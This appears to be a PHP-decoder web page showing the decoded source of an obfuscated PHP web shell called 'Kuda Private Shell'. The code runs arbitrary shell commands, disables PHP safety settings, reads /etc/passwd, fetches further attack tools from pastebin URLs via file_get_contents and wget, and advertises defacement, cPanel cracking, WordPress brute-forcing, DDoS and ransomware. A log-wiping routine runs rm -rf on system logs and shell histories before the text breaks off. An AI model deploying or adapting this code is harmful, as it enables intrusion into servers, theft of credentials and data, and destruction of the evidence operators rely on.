Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(strrev(str_rot13(gzuncompress(base64_decode(str_replace('xln', 'A', 'eJzs/WmXo8a6Lop+..

Decoded Output download

// Obfuscated by P4kL0nc4t PHP Obfuscator
// [email protected]
$katasandi = 'f5b165f0a2778d027ecebd64a2439c8d'; // kudar00t72
$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Googlebot", "Google", "Google Chrome", "Robot", "IExplorer", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
function login_shell() {
?>
<?php
eval(gzinflate(str_rot13(gzinflate(base64_decode('AZgBZ/5oRVh420AQvgv0H6ahoFjqaAs9UgjSVaWGODWJGgilhLU0trasad19JOjfdHPVEF1lkZDme8x8M9gNtig/1D+v2oddAz/a7TXsfn273lzB2SchNlr7XYi6refKl9VNiObmrMqzZQijrsoBcs9fTgWN1df1GjYmoDNFwx26J2fQOHRdKXMAIVKilHvbQlbmZvUOgypHP0jtgODnCprOU1NwD9KAbSUiM8C6PBuV76w5qHBnMih4CNbDs/QQjdx4hGChs+NWcMA8m3ln4PBfUR9JpThIxVKeISeSjGoapVTCmyC7AOGtD9mPyigfyIN8coBv9fHxrrm9YmF/F/P78bLeYWGKP6uCPZU5SzeyxAj2kKSCGukxKP/afddSVIOd50x3mjFxWDNroFPhhI41dfK/0QfYI30tBdIAqe8tF3PH/xnsegxYr0RBJADyVirNseSZMsv5c5S2xzfRy75KLCa1ns5OwrurpgQTm1Bf7utsQ5y/m5Q5ZSSRoqUdJkF6uziiCfx/oOEZVd0sSsOXk2GGDoMvL8+Kixc=')))));
?>
<?php
eval(gzinflate(str_rot13(gzinflate(base64_decode('AYoAdf8tjcsKwjAUUfeB/sMlCNGVXXjSnbhk6UFRb2X7oHphVUXrA//dCF0dc+DMZ/VtaDsezhfRQkk/xRWUAjGXcm2LWsE+BVDTEghsD5U06BJz1hRTGDG1cRX3FBOvcef8lCC9POZXxzhGsBycHpfMwQ/aYFiDxaD4iZrOTqMd7B7Z3v4nM5YHsS/Y9wc=')))));
?>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
    if( empty($katasandi) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $katasandi) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        login_shell();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>
<html>
<head>
<link rel='shortcut icon' type='image/png' href='http://i.imgur.com/akJgR9m.png'>
<link rel='stylesheet' type='text/css' href='http://149.56.22.192/~mrxbarakuda/script2/glitch.css'>
<title>Kuda Private Shell</title>
<meta name='author' content='Mr.xBarakuda'>
<meta charset="UTF-8">
<style type='text/css'>
@import url('http://fonts.googleapis.com/css?family=Share+Tech+Mono');
@import url('http://fonts.googleapis.com/css?family=Iceland');
html {
background: #111111;
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 12.7px;
width: 100%;
}
#xkuda_load {
background: url(https://maringapost.com.br/ahduvido/wp-content/uploads/sites/4/2017/06/doofi_consulting_detective_with_pipe_and_magnifying_glass_silhouette_-e1348544124904-527x560.png) no-repeat center center;
background-size: 80% 100%;
background-color: rgba(0, 0, 0, 0.18);
position: fixed;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: 0;
padding: 0;
width: 100%;
height: 100%;
z-index: -1 !important;
}
.phpinfo table{width:100%;padding:0 0 0 0;} 
.phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} 
.phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} 
.phpinfo h3, .phpinfo h3 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;}
li {
display: inline;
margin: 1px;
padding: 1px;
}
tr:hover {
background: maroon;
}
table tr:first-child {	
background: #191919;
text-align: center;
color: white;
}
table, th, td {
border-collapse: collapse;
background: transparent;
font-family: 'Share Tech Mono';
font-size: 12.5px;
}
.table_home, .th_home, .td_home {
border: 1px solid deepskyblue;
}
th {
padding: 10px;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: #F6D155;
text-decoration: underline;
}
b {
color: #F6D155;
}
input[type=text],input[type=password],input[type=submit] {
background: transparent; 
color: #ffffff; 
border: 1px solid #ffffff; 
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 12.5px;
}
input[type=submit] {
background: #191919; 
color: #ffffff; 
border: 1px solid #ffffff; 
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 12.5px;
cursor: pointer;
}
textarea {
border: 1px solid #ffffff;
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
background: transparent;
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 12.5px;
}
select {
width: 152px;
background: #000000; 
color: dimgray; 
border: 1px solid #ffffff; 
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 12.5px;
}
option:hover {
background: dimgray;
color: #000000;
}
#menu a {
     font-family:Iceland;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
     font-size: 13px;
     background:#151515;
     color:deepskyblue;
     margin:5px 2px 4px 2px;
     padding:5px 8px;
     border-color:deepskyblue;
     text-decoration:none;
     letter-spacing:1px;
     -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
       }
#menu a:hover {
     font-size: 13px;
     background:black;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);
     color: gold;
     padding:5px 8px;
     border: 1px;
     font-family:Iceland;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
     letter-spacing:1px;
     margin:5px 2px 4px 2px;
    -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
       }
.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid cyan;margin:4px 0 8px;padding:14px 8px;}
.cgx2 {text-align:center;letter-spacing:1px;font-family:'Share Tech Mono';color:#ff0000;font-size:13px;text-shadow:5px 5px 5px black;}
</style>
</head>
<?php
// Kuda Private Shell Source COd3 /////////////////////////////////
// Rec0d3d by Mr.xBarakuda From All Indonesian Web Shell  ////////
if(file_exists('php.ini')) {
} else {
$img = fopen('php.ini','w');
$sec = 'safe_mode = OFF
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF';
fwrite($img,$sec);
fclose($img);
}
function w($dir,$perm) {
    if(!is_writable($dir)) {
        return "<font color=red>".$perm."</font>";
    } else {
        return "<font color=cyan>".$perm."</font>";
    }
}
function exe($cmd) {
    if(function_exists('system')) {        
        @ob_start();       
        @system($cmd);     
        $buff = @ob_get_contents();        
        @ob_end_clean();       
        return $buff;  
    } elseif(function_exists('exec')) {        
        @exec($cmd,$results);      
        $buff = "";        
        foreach($results as $result) {         
            $buff .= $result;      
        } return $buff;    
    } elseif(function_exists('passthru')) {        
        @ob_start();       
        @passthru($cmd);       
        $buff = @ob_get_contents();        
        @ob_end_clean();       
        return $buff;  
    } elseif(function_exists('shell_exec')) {      
        $buff = @shell_exec($cmd);     
        return $buff;  
    }
}
function perms($file){
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
    } else {
    // Unknown
    $info = 'u';
    }
        // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
function hdd($s) {
    if($s >= 1073741824)
    return sprintf('%1.2f',$s / 1073741824 ).' GB';
    elseif($s >= 1048576)
    return sprintf('%1.2f',$s / 1048576 ) .' MB';
    elseif($s >= 1024)
    return sprintf('%1.2f',$s / 1024 ) .' KB';
    else
    return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function getsource($url) {
    $curl = curl_init($url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    $content = curl_exec($curl);
            curl_close($curl);
    return $content;
}
function bing($dork) {
    $npage = 1;
    $npages = 30000;
    $allLinks = array();
    $lll = array();
    while($npage <= $npages) {
        $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
        if($x) {
            preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
            foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
            $npage = $npage + 10;
            if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
        } else break;
    }
    $URLs = array();
    foreach($allLinks as $url){
        $exp = explode("/", $url);
        $URLs[] = $exp[2];
    }
    $array = array_filter($URLs);
    $array = array_unique($array);
    $sss = count(array_unique($array));
    foreach($array as $domain) {
        echo $domain."
";
    }
}
function reverse($url) {
    $ch = curl_init("http://domains.yougetsignal.com/domains.php");
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
          curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
          curl_setopt($ch, CURLOPT_HEADER, 0);
          curl_setopt($ch, CURLOPT_POST, 1);
    $resp = curl_exec($ch);
    $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
    $array = explode(",,", $resp);
    unset($array[0]);
    foreach($array as $lnk) {
        $lnk = "http://$lnk";
        $lnk = str_replace(",", "", $lnk);
        echo $lnk."
";
        ob_flush();
        flush();
    }
        curl_close($ch);
}
if(get_magic_quotes_gpc()) {
    function idx_ss($array) {
        return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
    }
    $_POST = idx_ss($_POST);
    $_COOKIE = idx_ss($_COOKIE);
}
$d0mains = @file("/etc/named.conf");
			$users=@file('/etc/passwd');
        if($d0mains)
        { 
			$count;  
			foreach($d0mains as $d0main)
			{
				if(@ereg("zone",$d0main))
				{
					preg_match_all('#zone "(.*)"#', $d0main, $domains);
					flush();
					if(strlen(trim($domains[1][0])) > 2)
					{
						flush();
						$count++;
			   		} 
			   	}
			}
		}
function CreateTools($names,$lokasi){
	if ( $_GET['make_love'] == $names ){
		$a= "".$_SERVER['SERVER_NAME']."";
$b= dirname($_SERVER['PHP_SELF']);
$c = "/kuda_tools/".$names.".php";
if (file_exists('kuda_tools/'.$names.'.php')){
	echo '<script type="text/javascript">alert("Kelar!");window.location.href = "kuda_tools/'.$names.'.php";</script> ';
	}
	else {mkdir("kuda_tools", 0777);
file_put_contents('kuda_tools/'.$names.'.php', file_get_contents($lokasi));
echo ' <script type="text/javascript">alert("Kelar!");window.location.href = "kuda_tools/'.$names.'.php";</script> ';}}}

CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
CreateTools("bukalapak","http://pastebin.com/raw/6CB8krDi");
CreateTools("tokped","http://pastebin.com/raw/dvhzWgby");
CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
CreateTools("shellshock","https://pastebin.com/raw/ZB3DLXwR");
CreateTools("rootex","https://pastebin.com/raw/PVPfA21i");
CreateTools("lokmed","https://pastebin.com/raw/0STXanAx");
CreateTools("iptrack","https://pastebin.com/raw/tGEFiPYm");
CreateTools("webdav","https://pastebin.com/raw/8szajjXK");
CreateTools("webconsole","https://pastebin.com/raw/2i96fDCN");
CreateTools("sqlscan","https://pastebin.com/raw/3jwmYBzc");
CreateTools("blackhat","http://pastebin.com/raw/3L2ESWeu");
CreateTools("noname","https://pastebin.com/raw/NXidmXn5");
CreateTools("berandal","https://pastebin.com/raw/FwS49Fy2");
CreateTools("wso404","https://pastebin.com/raw/BMTGUY6J");
if(isset($_GET['dir'])) {
    $dir = $_GET['dir'];
    chdir($dir);
} else {
    $dir = getcwd();
}
$orang_gans = '8y3Sq2NXLFfMLlpWBAA=';
$kernel = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$sport = $_SERVER['SERVER_PORT'];
$admin_id = $_SERVER['SERVER_ADMIN'];
$ssoftware = $_SERVER['SERVER_SOFTWARE'];
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?make_love";
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=deepskyblue>OFF</font>";
$magico = (ini_get('magic_quotes_gpc') == '1') ? "<font color=red>ON</font>" : "<font color=deepskyblue>OFF</font>";
$getds = @ini_get("disable_functions");
$ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=deepskyblue>NONE</font>";
$mysql = (function_exists('mysql_connect')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$pgsql = (function_exists('pg_connect')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$orac = (function_exists('ocilogon')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$mssql = (function_exists('mssql_connect')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$fget = (function_exists('file_get_contents')) ? "<font color=deepskyblue>ON</font>" : "<font color=red>OFF</font>";
$gue = (gzinflate(str_rot13(base64_decode($orang_gans))));
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
echo "<br><div class='container'><h1>&otimes; Kuda Private Shell &otimes;</h1><h1>&otimes; Kuda Private Shell &otimes;</h1><h1>&otimes; Kuda Private Shell &otimes;</h1></div><br>";
echo "<hr color=deepskyblue>";
echo "System: <font color=deepskyblue>".$kernel."</font><br>";
echo "Host: <font color=deepskyblue>".$_SERVER['SERVER_NAME']."</font> | Admin: <font color=deepskyblue>".$admin_id."</font><br>";
echo "Server Software: <font color=deepskyblue>".$ssoftware."</font> | PHP Version: <font color=deepskyblue>".phpversion()."</font> on <font color=deepskyblue>".php_sapi_name()."</font><br>";
echo "User: <font color=deepskyblue>".$user."</font> ( ".$uid." ) Group: <font color=deepskyblue>".$group."</font> ( ".$gid." )<br>";
echo "Server IP: <font color=deepskyblue>".$ip."</font> | Your IP: <font color=deepskyblue>".$_SERVER['REMOTE_ADDR']."</font> | Your Port: <font color=deepskyblue>".$_SERVER['REMOTE_PORT']."</font><br>";
echo "Your User Agent: <font color=deepskyblue>".$_SERVER['HTTP_USER_AGENT']."</font><br>";
echo "HDD: <font color=deepskyblue>".$used."</font> ( Total: <font color=deepskyblue>".$total."</font> ) ( Free: <font color=deepskyblue>".$freespace."</font> )<br>";
echo "Websites: <font color=deepskyblue>".$count."</font> Domains<br>";
echo "Port: <font color=deepskyblue>".$sport."</font><br>";
echo "Time On Server: <font color=deepskyblue>".date("d-M-Y / h:i a")."</font><br>";
echo "Safe Mode: ".$sm."<br>";
echo "Disable Functions: ".$ds."<br>";
echo "Magic_Quotes_Gpc: ".$magico."<br>";
echo "MYSQL: ".$mysql." | MSSQL: ".$mssql." | POSTGRESQL: ".$pgsql." | PERL: ".$perl." | PYTHON: ".$python." | WGET: ".$wget." | CURL: ".$curl." | ORACLE: ".$orac." | FILE_GET_CONTENTS: ".$fget."<br>";
echo "CWD: ";
foreach($scdir as $c_dir => $cdir) {   
    echo "<a href='?dir=";
    for($i = 0; $i <= $c_dir; $i++) {
        echo $scdir[$i];
        if($i != $c_dir) {
        echo "/";
        }
    }
    echo "'>$cdir</a>/";
}
echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
echo "<hr color=deepskyblue>";
echo "<center>";
echo "<ul>";
echo "<div id=menu border=1>";
echo "<a style='border:1px dotted cyan;' href='?'>Home</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=upload'>Upload</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=cmd'>Command</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=mass_deface'>Mass Deface</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=xaivhost'>Vhost Config Grabber</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=config'>Config</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=configv2'>Config v2</a>";
echo "<a style='border:1px dotted cyan;' href='?fuck=config'>Config Fucker</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=jumping'>Jumping</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=cpcrack'>CPanel Crack</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=smtp'>SMTP Grabber</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=zoneh'>Zone-H</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=malware'>Malware Tools</a>";
echo "<p>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=spam_mail'>Mail Spammer</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=fake_root'>Fake Root</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=wp_timthumb'>Wp TimThumb Finder</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=auto_wp'>Wp Auto Edit Title</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=auto_dwp'>Wp Auto Deface</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=auto_dwp2'>Wp Auto Deface V.2</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=wpbf'>Wp Bruteforce</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=hijack_wp'>Wp Auto Hijack</a>";
echo "<p>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=endecode'>EN/DEcoder</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=symlink'>Symlink Server</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=symconfv2'>Symlink v2</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=sympy'>Symlink Python</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&bypass=disablefunc'>Disable Functions</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&bypass=vhosts'>Bypass Vhost</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&bypass=etcpass'>Bypass /etc/passwd</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&bypass=cloudfl'>Bypass CloudFlare</a>";
echo "<a style='border:1px dotted cyan;' href='?weevely'>Weevely</a>";
echo" <p>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=ddos'>DDoS</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=domains'>Domains Viewer</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=ports'>Port Scanner</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=adminer'>Adminer</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=csrf'>CSRF Online</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=bctools'>Back Connect</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=hashgen'>Hash Generator</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=hashid'>Hash Identification</a>";
echo "<p>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=honey'>Honeypot</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=zip_menu'>Zip Menu</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=infosec'>Server Info</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=phpinfo'>PHP Info</a>";
echo "<a style='border:1px dotted cyan;' href='?whmcs=killer'>WHMCS Killer</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=whmcsdeco'>WHMCS Decoder</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=dbdump'>DB Dump</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=vb_ngindex'>VB Index Changer</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=reverse_ip'>Reverse IP</a>";
echo "<p>";
echo "<a style='border:1px dotted red;' href='?dir=$dir&do=kill'>Kill Self</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=loghunter'>Log Hunter</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=cgitelnet'>CGI Telnet</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=kudascan'>Shell Scanner v1.1</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=shellscan'>Shell Scanner</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=drupalex'>Drupal Mass Exploiter</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=delogs'>Delete Log</a>";
echo "<a style='border:1px dotted red;' href='?logout=true'>Logout</a>";
echo "<p>";
echo "<a style='border:1px dotted red;' href='?dir=$dir&do=about'>About</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=w00t'>Auto Root</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=base64pict'>Convert Pict To Base64</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=ransomware'>Ransomware</a>";
echo "<a style='border:1px dotted cyan;' href='?dir=$dir&do=masschm'>Chmod Mass</a>";
echo "<a style='border:1px dotted cyan;' href='?do=r00t'>Simple Root</a>";
echo "<a style='border:1px dotted red;' href='?dir=$dir&do=contact'>Contact</a>";
echo "</div></ul>";
echo "</center>";
echo "<hr color=deepskyblue>";
echo "<div id='xkuda_load'></div>";
if($_GET['logout'] == true) {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo "<script>window.location='?';</script>";
}
if($_GET['whmcs'] == 'killer') {
    echo'<form method="post">
      <center>
        <br><u>Input WHMCS configuration.php</u><br><textarea cols="60" name="azztssns" rows="20"></textarea><br><br><input name="conf" size="10"
          value="Fuck it!!!" type="submit">
        <br/>
    </form>
    </center>';
    if ($_POST['conf']) {
    $configuration = $_POST['azztssns'];
    file_put_contents("configuration.php",$configuration,FILE_APPEND);
    $scr = file_get_contents("http://pastebin.com/raw/31kP3Dp8");
    $fel = fopen("wk.php", "w");
    fwrite($fel, $scr);
    system('wget -O wk.php http://pastebin.com/raw/31kP3Dp8');
    echo'<meta http-equiv="refresh" content="0; url=wk.php">';
    }
}
function inject($pastebin, $nama_file){
    $usa = file_get_contents("$pastebin");
    $frr = fopen("$nama_file", 'w');
    fwrite($frr, $usa);
}
$fuck = @$_GET['fuck'];
if($fuck == "config"){
    $kentod = inject("https://pastebin.com/raw/YSN78zrm", "confuck.php");
    echo '<center><a href="confuck.php" target="_blank"><font color="lime">> CONFIG FUCKER <</a></font></center>';
}
elseif($_GET['do'] == 'upload') {
    echo "<center>";
    if($_POST['upload']) {
        if($_POST['tipe_upload'] == 'biasa') {
            if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
                $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
            } else {
                $act = "<font color=red>failed to upload file</font>";
            }
        } else {
            $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
            $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
            if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
                if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
                    $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
                } else {
                    $act = "<font color=red>failed to upload file</font>";
                }
            } else {
                $act = "<font color=red>failed to upload file</font>";
            }
        }
    }

    echo "Upload File:
    <form method='post' enctype='multipart/form-data'>
    <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
    <input type='radio' name='tipe_upload' value='home_root'>Home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
    <input type='file' name='ix_file'>
    <input type='submit' value='Upload' name='upload'>
    </form>";
    echo $act;
	echo "</center><br>";
}
elseif($_GET['do'] == 'cmd') {
	echo "<center><form method='post'>
    <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
    <input type='text' size='30' height='10' name='cmd'> <input type='submit' name='do_cmd' value='>>'>
    </form>";
    if($_POST['do_cmd']) {
        echo "<pre>".exe($_POST['cmd'])."</pre>";
        echo "</center>";
    }
}
elseif($_GET['do'] == 'delogs') {
  	echo '<center><b><span>Delete Logs ( For Safety can be fun = Supported By Fiesta :v )</span></b><br>';
    echo "<table style='margin: 0 auto;'><tr align='top'><td align='left'>";
	exec("rm -rf /tmp/logs");
	exec("rm -rf /root/.ksh_history");
	exec("rm -rf /root/.bash_history");
	exec("rm -rf /root/.bash_logout");
	exec("rm -rf /usr/local/apache/logs");
	exec("rm -rf /usr/local/apache/log");
	exec("rm -rf /var/apache/logs");
	exec("rm -rf /var/apache/log");
	exec("rm -rf /var/run/utmp");
	exec("rm -rf /var/logs");
	exec("rm -rf /var/log");
	exec("rm -rf /var/adm");
	exec("rm -rf /etc/wtmp");
	exec("rm -rf /etc/utmp");
	exec("rm -rf $HISTFILE");
	exec("rm -rf /var/log/lastlog");
	exec("rm -rf /var/log/wtmp");

	shell_exec("rm -rf /tmp/logs");
	shell_exec("rm -rf /root/.ksh_history");
	shell_exec("rm -rf /root/.bash_history");
	shell_exec("rm -rf /root/.bash_logout");
	shell_exec("rm -rf /usr/local/apache/logs");
	shell_exec("rm -rf /usr/local/apache/log");
	shell_exec("rm -rf /var/apache/logs");
	shell_exec("rm -rf /var/apache/log");
	shell_exec("rm -rf /var/run/utmp");
	shell_exec("rm -rf /var/logs");
	shell_exec("rm -rf /var/log");
	shell_exec("rm -rf /var/adm");
	shell_exec("rm -rf /etc/wtmp");
	shell_exec("rm -rf /etc/utmp");
	shell_exec("rm -rf $HISTFILE");
	shell_exec("rm -rf /var/log/lastlog");
	shell_exec("rm -rf /var/log/wtmp");

	passthru("rm -rf /tmp/logs");
	passthru("rm -rf /root/.ksh_history");
	passthru("rm -rf /root/.bash_history");
	passthru("rm -rf /root/.bash_logout");
	passthru("rm -rf /usr/local/apache/logs");
